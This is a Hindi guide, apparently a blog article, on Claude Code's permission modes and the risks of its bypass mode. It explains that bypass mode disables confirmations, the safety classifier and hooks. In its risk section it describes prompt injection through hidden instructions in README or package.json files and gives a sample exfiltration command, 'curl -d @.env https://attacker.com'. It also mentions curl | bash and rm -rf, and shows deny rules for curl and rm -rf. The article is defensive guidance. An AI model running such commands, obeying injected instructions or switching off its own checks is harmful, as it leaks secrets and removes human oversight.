Claude Code का परमिशन बायपास मोड: सुरक्षा जोखिम और सुरक्षित उपयोग के तरीके

Claude Code में एक «परमिशन बायपास मोड» (bypassPermissions) है जो सभी ऑपरेशन बिना किसी पुष्टि के स्वचालित रूप से चलाता है। CI/CD पाइपलाइन और Docker कंटेनर में ऑटोमेशन के लिए यह बेहद काम का है, लेकिन गलत तरीके से इस्तेमाल करने पर गंभीर सुरक्षा जोखिम पैदा हो सकते हैं।

इस लेख में, हम Claude Code के पांच परमिशन मोड्स को समझेंगे और फिर बायपास मोड की उपयोगिता, जोखिम और सुरक्षित उपयोग के तरीके व्यावहारिक उदाहरणों के साथ जानेंगे।

1. परमिशन बायपास मोड क्या है

परमिशन बायपास मोड Claude Code के काम करते समय दिखाई देने वाले सभी कन्फर्मेशन प्रॉम्प्ट को स्किप कर देता है। सामान्य मोड में Claude Code फाइल एडिट या शेल कमांड चलाने से पहले यूजर की अनुमति मांगता है, लेकिन बायपास मोड में कोई भी प्रॉम्प्ट नहीं दिखता।

इसे एक्टिवेट करने के दो तरीके हैं:

# Flag activation
claude --dangerously-skip-permissions

# Or via permission mode
claude --permission-mode bypass

ध्यान दें कि फ्लैग के नाम में «dangerously» (खतरनाक तरीके से) शब्द शामिल है — Anthropic ने जानबूझकर यह चेतावनी दी है। यह मोड पूरी तरह आइसोलेटेड वातावरण (कंटेनर या VM) में ऑटोमेशन के लिए बनाया गया है।

बायपास मोड में भी .git/, .vscode/, .idea/, .claude/ जैसी सेटिंग डायरेक्टरीज़ में लिखना प्रतिबंधित रहता है। यह न्यूनतम सुरक्षा उपाय है।

2. Claude Code के पांच परमिशन मोड

Claude Code में पांच स्तर के परमिशन मोड हैं, और हर एक में «बिना पुष्टि के क्या-क्या किया जा सकता है» का दायरा अलग है।

प्रत्येक मोड का विवरण

default (डिफ़ॉल्ट): केवल फाइल पढ़ना बिना पुष्टि के। एडिटिंग और कमांड एक्जीक्यूशन के लिए यूजर की मंजूरी जरूरी है। शुरुआती लोगों और संवेदनशील वातावरण के लिए सबसे उपयुक्त।

acceptEdits (ऑटो एडिट अप्रूवल): फाइल पढ़ना और एडिट करना बिना पुष्टि के, लेकिन शेल कमांड चलाने के लिए मंजूरी चाहिए। रोजमर्रा के कोडिंग काम के लिए संतुलित मोड।

plan (प्लानिंग): पूरी तरह रीड-ओनली — फाइल लिखना या कमांड चलाना संभव नहीं। कोड की जांच और डिज़ाइन प्लानिंग के लिए इस्तेमाल होता है।

auto (ऑटोमैटिक): लगभग सभी ऑपरेशन बिना पुष्टि के चलते हैं, लेकिन बैकग्राउंड में सेफ्टी क्लासिफायर (safety classifier) काम करता है और खतरनाक ऑपरेशन ब्लॉक कर देता है। लंबे ऑटोमेटेड कामों के लिए उपयुक्त।

bypassPermissions (परमिशन बायपास): सेफ्टी क्लासिफायर सहित सभी चेक अक्षम हो जाते हैं। केवल कंटेनर और VM में उपयोग के लिए डिज़ाइन किया गया है — Anthropic लोकल वातावरण में इसकी सिफारिश नहीं करता।

परमिशन मोड को स्टार्टअप पर CLI फ्लैग के अलावा, सेशन के दौरान Shift+Tab शॉर्टकट से भी बदला जा सकता है। VS Code, JetBrains और डेस्कटॉप ऐप में भी यह सपोर्टेड है।

3. बायपास मोड कब उपयोगी है

बायपास मोड सिर्फ «खतरनाक» मोड नहीं है — सही वातावरण में यह डेवलपमेंट एफिशिएंसी को काफी बढ़ा सकता है।

CI/CD पाइपलाइन में उपयोग

GitHub Actions और GitLab CI जैसे CI/CD वातावरण में कन्फर्मेशन प्रॉम्प्ट का जवाब देने वाला कोई यूजर नहीं होता। बायपास मोड से ऑटोमेटेड टेस्टिंग, कोड रिव्यू और डॉक्यूमेंटेशन जेनरेशन को पूरी तरह स्वचालित किया जा सकता है।

# GitHub Actions example
claude --dangerously-skip-permissions \
  -p "Run tests and report results"

Docker कंटेनर के अंदर

डिस्पोज़ेबल कंटेनर में चलाते समय, कंटेनर खराब हो जाए तो कोई नुकसान नहीं। बायपास मोड का «खतरा» कंटेनर के आइसोलेशन से बेअसर हो जाता है।

बल्क फाइल प्रोसेसिंग

100 से अधिक फाइलों में एक साथ बदलाव करते समय, बार-बार कन्फर्मेशन प्रॉम्प्ट एक बड़ा बोझ बन जाते हैं। आइसोलेटेड वातावरण में बायपास मोड से कुशलतापूर्वक प्रोसेसिंग हो सकती है।

ऑटोमेशन स्क्रिप्ट्स के साथ

नियमित बैच प्रोसेसिंग और कोड जेनरेशन पाइपलाइन को बिना मानवीय हस्तक्षेप के चलना होता है। बायपास मोड ऐसे हेडलेस ऑपरेशन के लिए आवश्यक है।

4. पांच सुरक्षा जोखिम

बायपास मोड को बिना आइसोलेशन के इस्तेमाल करने पर ये गंभीर जोखिम पैदा होते हैं:

जोखिम 1: प्रॉम्प्ट इंजेक्शन

सबसे खतरनाक जोखिम। दुर्भावनापूर्ण फाइलें (जैसे README या package.json में छिपे निर्देश) में छिपी हुई कमांड्स सीधे एक्जीक्यूट हो सकती हैं।

सामान्य मोड में, संदिग्ध कमांड चलाने से पहले कन्फर्मेशन प्रॉम्प्ट दिखता है जिससे यूजर उसे ब्लॉक कर सकता है। बायपास मोड में यह सुरक्षा दीवार मौजूद नहीं होती।

जोखिम 2: आर्बिट्रेरी कमांड एक्जीक्यूशन

curl | bash, rm -rf, पैकेज इंस्टॉलेशन जैसी सभी शेल कमांड्स तुरंत एक्जीक्यूट हो जाती हैं। auto मोड में सेफ्टी क्लासिफायर खतरनाक कमांड्स ब्लॉक करता है, लेकिन बायपास मोड में यह क्लासिफायर भी अक्षम रहता है।

जोखिम 3: डेटा लीक

.env फाइलें, ऑथेंटिकेशन टोकन, API कीज़ जैसी संवेदनशील जानकारी को बाहरी एंडपॉइंट पर भेजने वाली कमांड बिना पुष्टि के चल सकती है। उदाहरण: curl -d @.env https://attacker.com।

जोखिम 4: ऑपरेशन एस्केलेशन

सामान्य फाइल एडिटिंग से शुरू हुआ काम अचानक प्रोडक्शन डिप्लॉयमेंट या डेटाबेस माइग्रेशन तक पहुंच सकता है। सामान्य मोड में चरणबद्ध पुष्टि होती है, बायपास मोड में यह सुरक्षा नहीं होती।

जोखिम 5: अपरिवर्तनीय विनाशकारी ऑपरेशन

git push --force, फाइलों का स्थायी विलोपन, डेटाबेस में DROP TABLE जैसे वापस न किए जा सकने वाले ऑपरेशन बिना पुष्टि के एक्जीक्यूट होने का जोखिम है।

5. सुरक्षित उपयोग के उपाय

अगर बायपास मोड का उपयोग ज़रूरी है, तो ये उपाय अपनाएं:

उपाय 1: केवल कंटेनर और VM तक सीमित रखें

सबसे महत्वपूर्ण उपाय। बायपास मोड हमेशा आइसोलेटेड वातावरण में इस्तेमाल करें — Docker कंटेनर, VM, या GitHub Actions जैसे CI रनर। होस्ट OS पर सीधे न चलाएं।

उपाय 2: पहले auto मोड पर विचार करें

ज्यादातर मामलों में auto मोड काफी है। बैकग्राउंड में सेफ्टी क्लासिफायर काम करता है और स्पष्ट रूप से खतरनाक कमांड्स ब्लॉक करता है। सिर्फ «कन्फर्मेशन प्रॉम्प्ट परेशान करते हैं» इस वजह से बायपास मोड न चुनें।

उपाय 3: allowlist से बारीक नियंत्रण

Claude Code के परमिशन रूल सिस्टम से केवल विशिष्ट कमांड्स को ऑटो-अप्रूव किया जा सकता है। यह बायपास मोड का अधिक सुरक्षित विकल्प है।

# .claude/settings.json permission rules
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

रूल्स का मूल्यांकन deny → ask → allow क्रम में होता है। deny को सर्वोच्च प्राथमिकता मिलती है, इसलिए किसी खतरनाक कमांड को स्पष्ट रूप से deny करने पर allow रूल उसे ओवरराइड नहीं कर सकता।

उपाय 4: Hooks से निगरानी

Claude Code की Hooks सुविधा (PreToolUse / PostToolUse हुक्स) से टूल उपयोग से पहले और बाद में कस्टम स्क्रिप्ट चलाई जा सकती हैं। लेकिन एक महत्वपूर्ण बात: बायपास मोड में Hooks भी अक्षम हो जाते हैं।

इसलिए, Hooks से निगरानी auto मोड के साथ मिलाकर करना प्रभावी है।

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": "echo $CLAUDE_TOOL_INPUT | check-safety.sh"
      }]
    }]
  }
}

उपाय 5: नेटवर्क को सीमित करें

कंटेनर के अंदर भी बाहरी नेटवर्क एक्सेस को सीमित करें ताकि डेटा लीक का जोखिम काफी कम हो जाए। आदर्श रूप से केवल ज़रूरी एंडपॉइंट (जैसे Anthropic API) को अनुमति दें।

उपाय 6: काम के बाद रिव्यू करें

बायपास मोड में काम करने के बाद git diff से बदलावों की जरूर जांच करें। अनचाहे बदलाव या संवेदनशील जानकारी का लीक न हो — यह सुनिश्चित करने की आदत बनाएं।

6. परमिशन मोड चयन गाइड

कौन सा मोड चुनें, इसमें असमंजस हो तो यह फ्लोचार्ट देखें:

स्थिति के अनुसार अनुशंसित सेटिंग्स

रोजमर्रा की कोडिंग: acceptEdits मोड सबसे अच्छा है। फाइल एडिट स्मूद रहता है और कमांड एक्जीक्यूशन पर पुष्टि भी बनी रहती है।

कोड एक्सप्लोरेशन और डिज़ाइन: plan मोड से अनचाहे बदलावों की चिंता नहीं रहती। रीड-ओनली होने से कोडबेस को सुरक्षित रूप से एक्सप्लोर किया जा सकता है।

लंबे ऑटोमेटेड कार्य: auto मोड + सैंडबॉक्स वातावरण सबसे बढ़िया है। सेफ्टी क्लासिफायर एक स्तर की सुरक्षा बनाए रखता है।

CI/CD पाइपलाइन: बायपास मोड + कंटेनर आइसोलेशन सही विकल्प है। लेकिन नेटवर्क प्रतिबंध और वॉल्यूम माउंट को न्यूनतम रखना न भूलें।

Claude Code की अन्य सुविधाओं के बारे में जानने के लिए Claude की तीन सुविधाओं में अंतर देखें। प्राइसिंग प्लान के लिए Claude vs ChatGPT कीमत तुलना देखें।

7. सारांश

Claude Code का परमिशन बायपास मोड सही वातावरण में एक शक्तिशाली टूल है, लेकिन गलत उपयोग गंभीर सुरक्षा घटनाओं का कारण बन सकता है।

AI टूल्स के सुरक्षित उपयोग में रुचि है तो AI स्तर परीक्षा से अपनी AI साक्षरता जांचें। Claude Code को व्यवस्थित रूप से सीखने के लिए प्रारंभिक पाठ्यक्रम देखें।

अक्सर पूछे जाने वाले प्रश्न